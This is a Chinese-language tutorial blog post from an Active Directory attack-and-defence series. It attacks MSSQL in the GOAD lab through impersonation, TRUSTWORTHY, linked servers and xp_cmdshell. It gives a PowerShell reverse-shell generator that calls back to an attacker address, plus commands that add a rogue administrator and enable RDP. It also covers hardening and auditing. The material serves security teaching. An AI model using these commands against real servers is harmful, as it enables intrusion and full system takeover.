iT邦幫忙

2025 iThome 鐵人賽

DAY 8
0
Security

資安這條路:AD 攻防實戰演練系列 第 8

AD 攻防實戰演練 Day 8:MSSQL 滲透測試 - 從資料庫到系統權限

  • 分享至 

  • xImage
  •  

經過前七天的 AD 攻防演練,我們已經掌握了網域的基礎滲透技術。今天要深入探討企業環境中極為常見的攻擊面:Microsoft SQL Server。MSSQL 不只是資料庫,更是通往 SYSTEM 權限的捷徑!我們將學習如何枚舉、攻擊並利用 MSSQL 的各種特性,最終取得伺服器的完整控制權。

今日學習目標

在完成今天的實作後,你將能夠:

  • 識別並枚舉網域中的 MSSQL 伺服器
  • 利用 Impersonation 權限提升
  • 透過 Linked Servers 進行跨伺服器攻擊
  • 從 SQL 命令執行到完整 Shell
  • 理解並實施 MSSQL 安全加固

前置準備

在開始之前,確保已經完成:

  • 擁有網域使用者憑證
  • 安裝 Impacket 工具集
  • 設定好 /etc/hosts 檔案

第一部分:MSSQL 伺服器枚舉

使用 Kerberos SPN 尋找 MSSQL

MSSQL 服務通常會註冊特定的 Service Principal Names (SPN):

# 使用 GetUserSPNs 尋找 MSSQL 服務
impacket-GetUserSPNs north.sevenkingdoms.local/brandon.stark:iseedeadpeople \
    -dc-ip 192.168.139.11 | grep -i mssql

image

輸出分析:

MSSQLSvc/castelblack.north.sevenkingdoms.local:1433    sql_svc
MSSQLSvc/braavos.essos.local:1433                      sql_svc

使用 Nmap 掃描

# 快速掃描 MSSQL 預設埠
nmap -p 1433 -sV -sC 192.168.139.10-23 --open

# 深度掃描並執行 MSSQL 腳本
nmap -p 1433 --script ms-sql-* 192.168.139.22-23

image
image

關鍵資訊:

  • 192.168.139.22 (CASTELBLACK) - SQL Server 2019
  • 192.168.139.23 (BRAAVOS) - SQL Server 2019

使用 CrackMapExec

# 掃描 MSSQL 服務
crackmapexec mssql 192.168.139.22-23

image

使用 NetExec

# 安裝 NetExec
pipx install git+https://github.com/Pennyw0rth/NetExec

image

image

# 測試已知憑證
netexec mssql 192.168.139.22 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local

image

第二部分:MSSQL 權限提升 - Impersonation

理解 SQL Impersonation

SQL Server 中有兩種層級的身分:

  • Login:伺服器層級的驗證身分
  • User:資料庫層級的授權身分
SQL Server Instance
├── Logins (伺服器層級)
│   ├── sa (系統管理員)
│   ├── NORTH\samwell.tarly
│   └── NORTH\brandon.stark
└── Databases
    ├── master
    │   └── Users (資料庫層級)
    │       ├── dbo
    │       └── guest
    └── msdb
        └── Users
            ├── dbo
            └── NORTH\arya.stark

連線到 MSSQL

# 使用修改版的 mssqlclient
mssqlclient.py -windows-auth \
    north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local

image

枚舉 Impersonation 權限

SQL> enum_impersonate

image

輸出解讀:

SQL (NORTH\samwell.tarly  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee               grantor
----------   --------   ---------------   ----------   -------------------   -------
b'LOGIN'     b''        IMPERSONATE       GRANT        NORTH\samwell.tarly   sa
欄位 含義
execute as LOGIN 這是伺服器層級的模擬權限(不是資料庫層級的 USER)
database 空白 因為是 LOGIN 層級,所以沒有特定資料庫
permission_name IMPERSONATE 權限類型是「模擬」
state_desc GRANT 權限已被授予(不是 DENY)
grantee NORTH\samwell.tarly 接收權限的人(你現在的身分)
grantor sa 授予權限的人(系統管理員)

Execute as Login - 取得 sysadmin

-- 檢查目前權限
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
0  -- 非 sysadmin

-- 模擬 sa 登入
SQL> exec_as_login sa

-- 再次檢查
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
1  -- 現在是 sysadmin!

image

-- 啟用 xp_cmdshell
SQL> enable_xp_cmdshell

-- 執行系統命令
SQL> xp_cmdshell whoami
nt service\mssqlserver

image

顯示所有的登入帳號及其權限

enum_logins

image

SQL (sa  dbo@master)> enum_logins
name                                 type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin
----------------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------
sa                                   SQL_LOGIN                 0          1               0             0            0              0           0           0           0

##MS_PolicyEventProcessingLogin##    SQL_LOGIN                 1          0               0             0            0              0           0           0           0

##MS_PolicyTsqlExecutionLogin##      SQL_LOGIN                 1          0               0             0            0              0           0           0           0

NORTH\sql_svc                        WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0

NT SERVICE\SQLWriter                 WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0

NT SERVICE\Winmgmt                   WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0

NT SERVICE\MSSQL$SQLEXPRESS          WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0

CASTELBLACK\vagrant                  WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0

BUILTIN\Users                        WINDOWS_GROUP             0          0               0             0            0              0           0           0           0

NT AUTHORITY\SYSTEM                  WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0

NT SERVICE\SQLTELEMETRY$SQLEXPRESS   WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0

NORTH\jon.snow                       WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0

NORTH\samwell.tarly                  WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0

NORTH\brandon.stark                  WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0

SQL (sa  dbo@master)>
欄位 含義 重要性
name 登入帳號名稱 識別目標
type_desc 帳號類型 判斷認證方式
is_disabled 是否停用 (0=啟用, 1=停用) 確認可用性
sysadmin 系統管理員 (1=是) 🔴 最高權限
securityadmin 安全管理員 管理登入和權限
serveradmin 伺服器管理員 伺服器配置
setupadmin 安裝管理員 安裝相關
processadmin 處理程序管理員 管理 SQL 程序
diskadmin 磁碟管理員 管理磁碟檔案
dbcreator 資料庫建立者 建立/修改/刪除 DB
bulkadmin 大量插入管理員 BULK INSERT 權限

關鍵發現:誰有 sysadmin 權限?

擁有 sysadmin = 1 的帳號:
├── sa                           (SQL 內建管理員)
├── NORTH\sql_svc               ⚠️ (SQL 服務帳號)
├── NT SERVICE\SQLWriter         (系統服務)
├── NT SERVICE\Winmgmt          (WMI 服務)
├── NT SERVICE\MSSQL$SQLEXPRESS (SQL 服務本身)
├── CASTELBLACK\vagrant         ⚠️ (本機管理員)
└── NORTH\jon.snow              ⚠️ (網域使用者)

多層次的權限提升路徑

enum_impersonate

image

SQL (sa  dbo@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee               grantor
----------   --------   ---------------   ----------   -------------------   ----------------------------
b'USER'      master     IMPERSONATE       GRANT        NORTH\arya.stark      dbo

b'USER'      msdb       IMPERSONATE       GRANT        NORTH\arya.stark      dbo

b'USER'      msdb       IMPERSONATE       GRANT        dc_admin              MS_DataCollectorInternalUser

b'LOGIN'     b''        IMPERSONATE       GRANT        NORTH\samwell.tarly   sa

b'LOGIN'     b''        IMPERSONATE       GRANT        NORTH\brandon.stark   NORTH\jon.snow

常見錯誤配置原因

配置 可能原因 風險
samwell.tarly → sa 「暫時」給管理權限,忘記移除 任何人拿到 samwell 密碼就能成為 sa
brandon.stark → jon.snow 代理或備援設定 brandon 被入侵 = jon.snow 被入侵
arya.stark → dbo 應用程式需求 配合 TRUSTWORTHY 可完全控制

Execute as User - 利用 TRUSTWORTHY

密碼參考
https://github.com/Orange-Cyberdefense/GOAD/blob/9606647a47a0792ef9240edc568d9858e415a8f3/ad/GOAD/data/config.json#L344

-- 以 arya.stark 連線
mssqlclient.py -windows-auth \
    north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local

-- 切換到 msdb(有 TRUSTWORTHY 屬性)
SQL> use msdb

-- 模擬 dbo 使用者
SQL> exec_as_user dbo

-- 現在可以執行命令了!
SQL> xp_cmdshell whoami

image

為什麼 TRUSTWORTHY 很危險?

  • 允許資料庫內的程式碼以更高權限執行
  • dbo 使用者可以存取伺服器層級的資源
  • 常被管理員為了方便而啟用

第三部分:Linked Servers 攻擊鏈

理解 Linked Servers

Linked Servers 允許 MSSQL 查詢遠端資料庫:

CASTELBLACK (192.168.139.22)
    ↓ Linked Server
BRAAVOS (192.168.139.23)
    ↓ 可能還有更多...

枚舉 Linked Servers

mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local -show
-- 連線到 CASTELBLACK
SQL> enum_links

[*] Linked servers:
BRAAVOS     SQL Server    jon.snow → sa (對應到遠端的 sa!)

image

利用 Linked Server 執行命令

-- 使用 linked server
SQL> use_link BRAAVOS

-- 檢查身分
SQL> SELECT SYSTEM_USER
sa  -- 在 BRAAVOS 上是 sa!

-- 啟用 xp_cmdshell
SQL> enable_xp_cmdshell

-- 執行命令
SQL> xp_cmdshell whoami
essos\sql_svc  -- BRAAVOS 的服務帳號

image

第四部分:從 SQL 到完整 Shell

方法一:PowerShell Reverse Shell

建立 PowerShell payload:

#!/usr/bin/env python3
import base64
import sys

if len(sys.argv) < 3:
    print('usage : %s ip port' % sys.argv[0])
    sys.exit(0)

payload = """
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])

byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())

執行:

# 產生 payload
python3 gen_ps_shell.py 192.168.139.136 4444 > ps_payload.txt

# 啟動監聽
nc -lvnp 4444

# 在 MSSQL 執行
SQL> xp_cmdshell 'powershell -exec bypass -enc <base64_payload>'

image
image

方法二:新增管理員帳號

-- 建立本機管理員
SQL> xp_cmdshell 'net user hacker P@ssw0rd123! /add'
SQL> xp_cmdshell 'net localgroup administrators hacker /add'

-- 啟用 RDP(如果需要)
SQL> xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

第五部分:MSSQL 安全加強

SQL Server 稽核事件

Event ID 描述 嚴重性
15457 xp_cmdshell 配置變更 🔴 高
17810 登入失敗 🟡 中
18456 密碼驗證失敗 🟡 中
33205 SQL 稽核事件 🟢 低

安全設定檢查表

設定項目 檢查指令 建議值
xp_cmdshell sp_configure 'xp_cmdshell' 0 (停用)
TRUSTWORTHY SELECT name, is_trustworthy_on FROM sys.databases 0 (關閉)
Impersonation 查詢 sys.server_permissions 最小化授權
Linked Servers sp_linkedservers 移除不必要
服務帳號 檢查服務設定 使用 gMSA

停用危險功能

-- 停用 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

-- 關閉 TRUSTWORTHY
ALTER DATABASE msdb SET TRUSTWORTHY OFF;

-- 移除不必要的 Impersonation
REVOKE IMPERSONATE ON LOGIN::sa FROM [NORTH\samwell.tarly];

-- 刪除 Linked Server
EXEC sp_dropserver 'BRAAVOS', 'droplogins';

稽核設定

-- 啟用登入稽核
EXEC xp_instance_regwrite 
    N'HKEY_LOCAL_MACHINE',
    N'Software\Microsoft\MSSQLServer\MSSQLServer',
    N'AuditLevel',
    REG_DWORD,
    3;  -- 成功和失敗都記錄

🎯 攻擊鏈總結

完整的 MSSQL 攻擊路徑:

1. 枚舉 SPN → 發現 MSSQL 服務
    ↓
2. Kerberoasting → 取得 sql_svc hash
    ↓
3. 破解密碼 → 取得初始存取
    ↓
4. Impersonation → 提升為 sa
    ↓
5. xp_cmdshell → 系統命令執行
    ↓
6. Linked Server → 橫向移動
    ↓
7. PowerShell → 完整 Shell

🛡️ 防禦優先順序

  1. 立即執行

    • 停用 xp_cmdshell
    • 關閉所有 TRUSTWORTHY
    • 移除不必要的 Impersonation
  2. 短期改善

    • 實施最小權限原則
    • 使用強密碼(25+ 字元)
    • 啟用 SQL 稽核
  3. 長期規劃

    • 遷移至 gMSA
    • 網路分段隔離
    • 定期安全評估

📊 風險評估矩陣

弱點 可能性 影響 風險等級 緩解措施
弱服務帳號密碼 極高 🔴 嚴重 gMSA/強密碼
Impersonation 濫用 🟡 高 權限審查
xp_cmdshell 啟用 極高 🟡 高 停用/監控
Linked Servers 🟡 高 最小化/加密
TRUSTWORTHY 🟠 中 全面關閉

🔧 實用工具與腳本

自動化枚舉腳本

#!/bin/bash
# mssql_enum.sh - MSSQL 自動化枚舉

DOMAIN="$1"
USER="$2"
PASS="$3"
TARGET="$4"

echo "[+] 枚舉 MSSQL SPNs..."
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" | grep -i mssql

echo "[+] 掃描 MSSQL 服務..."
nmap -p 1433 -sV $TARGET

echo "[+] 測試認證..."
crackmapexec mssql $TARGET -u $USER -p $PASS -d $DOMAIN

echo "[+] 嘗試連線..."
python3 mssqlclient.py -windows-auth "$DOMAIN/$USER:$PASS@$TARGET"

🎓 深入學習資源

思考題

Q1.

為什麼 MSSQL 的 服務帳號 (sql_svc) 一旦被竊取,風險往往比一般使用者帳號更大?
參考答案: 服務帳號通常擁有 sysadmin 或高權限角色,且常被多個服務使用。一旦被入侵,不僅能控管 SQL Server 本身,也可能進行橫向移動或取得 Windows 系統層級權限。

Q2.

在什麼情況下,IMPERSONATE 權限可以直接變成系統完全淪陷?
參考答案: 當低權限使用者被授予 IMPERSONATE → 能模擬 sa 或具備 sysadmin 的帳號,再結合 xp_cmdshell 或 CLR assembly,即可直接取得主機系統命令執行權限。

Q3.

如果在 msdb 資料庫中發現 TRUSTWORTHY=ON,你會怎麼處理與檢查?
參考答案: 先檢查是否有應用程式或 SQL Agent Job 依賴該設定,若無必要立即關閉;同時審查 dbo 或擁有 IMPERSONATE 的帳號,因為這種組合能突破資料庫邊界、影響伺服器層級。

Q4.

在 Linked Server 攻擊中,如果本機帳號是 sysadmin,但無法在遠端取得權限,可能原因是什麼?
參考答案: 沒有設定正確的 login mapping 或 Kerberos delegation,導致憑證無法傳遞;即使本機是 sysadmin,也不代表遠端自動授予相同權限。

Q5.

如果你是防禦方,會如何監控與偵測 xp_cmdshell 的濫用?
參考答案:

  • 啟用 SQL Server Audit / Extended Events,記錄 xp_cmdshell 執行。
  • SIEM 收集並觸發告警。
  • 定期檢查 sp_configure 設定是否遭異常開啟。
  • 與 Windows 事件(進程建立、網路連線)交叉比對。

小試身手

Q1. 下列哪一項最能準確描述 sasysadmin 的關係?

A. sa 是一種伺服器角色,等同 sysadmin
B. sa 是登入帳號;具備 sysadmin 伺服器角色通常代表最高權限
C. sasysadmin 皆屬於資料庫層級權限
D. sa 僅在 master 資料庫擁有最高權限

答案:B
解析: sa 是 SQL 登入帳號(Login),常預設隸屬 sysadmin 伺服器角色;sysadmin 是伺服器層級最高權限的「角色」。二者不同層次,但 sa 通常擁有 sysadmin

Q2. 若在 msdb 設為 TRUSTWORTHY ONdbo 可執行可提權物件,最大風險是?

A. 允許跨資料庫查詢,無法提升伺服器層級權限
B. 允許 dbo 於伺服器層級執行操作,可能突破 DB 邊界
C. 只能在 msdb 內讀寫資料,不影響其他 DB
D. 僅影響遠端連線的 Kerberos 驗證

答案:B
解析: TRUSTWORTHY ON 可能讓資料庫內的安全界線鬆動,特定情況下 dbo 可影響伺服器層級(例如與簽章、所有者鏈結等結合)。這是高風險設定,建議關閉並審核依賴。

Q3. 關於 Linked Server,何者正確?

A. 有 IMPERSONATE 就等於能把憑證傳遞到遠端
B. Linked Server 一定使用本機 SQL 登入密碼轉發
C. 若未設定對應的安全內容(mapping/委派),請求可能以匿名或失敗收尾
D. 只要本機是 sysadmin,遠端一定會用 sa 執行

答案:C
解析: Linked Server 是否能帶著正確身分到遠端,取決於安全內容設定(Remote login mapping、委派/憑證)。單靠本機 IMPERSONATE 並不足以自動傳遞有效憑證。

攻擊者若能濫用 xp_cmdshell,最直接的後果是什麼?

A. 讀取所有資料表
B. 直接在作業系統層級執行命令
C. 竊取 Kerberos TGT
D. 取得其他資料庫的擁有權

答案:B
解析: xp_cmdshell 可讓 SQL 查詢直接呼叫 Windows 命令,等同突破資料庫邊界,進入系統層級。

Q5. 關於 xp_cmdshell 的合規做法,何者最佳實務?

A. 永遠停用,且不必留下任何審計
B. 需要時啟用,用畢立即停用,並以 SQL Audit/Extended Events 留下記錄
C. 長期啟用以利維運,但限制為 db_owner 可用
D. 啟用與否無關緊要,只要關閉 sa 即可

答案:B
解析: 最佳實務是「預設關閉、必要時短暫開啟、全程審計並快速關閉」。同時也應監控 show advanced optionsxp_cmdshell 變更與使用行為。長期開啟風險高。


上一篇
AD 攻防實戰演練 Day 7:前六天知識整合與進階防禦策略
下一篇
AD 攻防實戰演練 Day 9:Windows 權限提升 - IIS Webshell 到 SYSTEM(使用 SeImpersonatePrivilege)
系列文
資安這條路:AD 攻防實戰演練9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言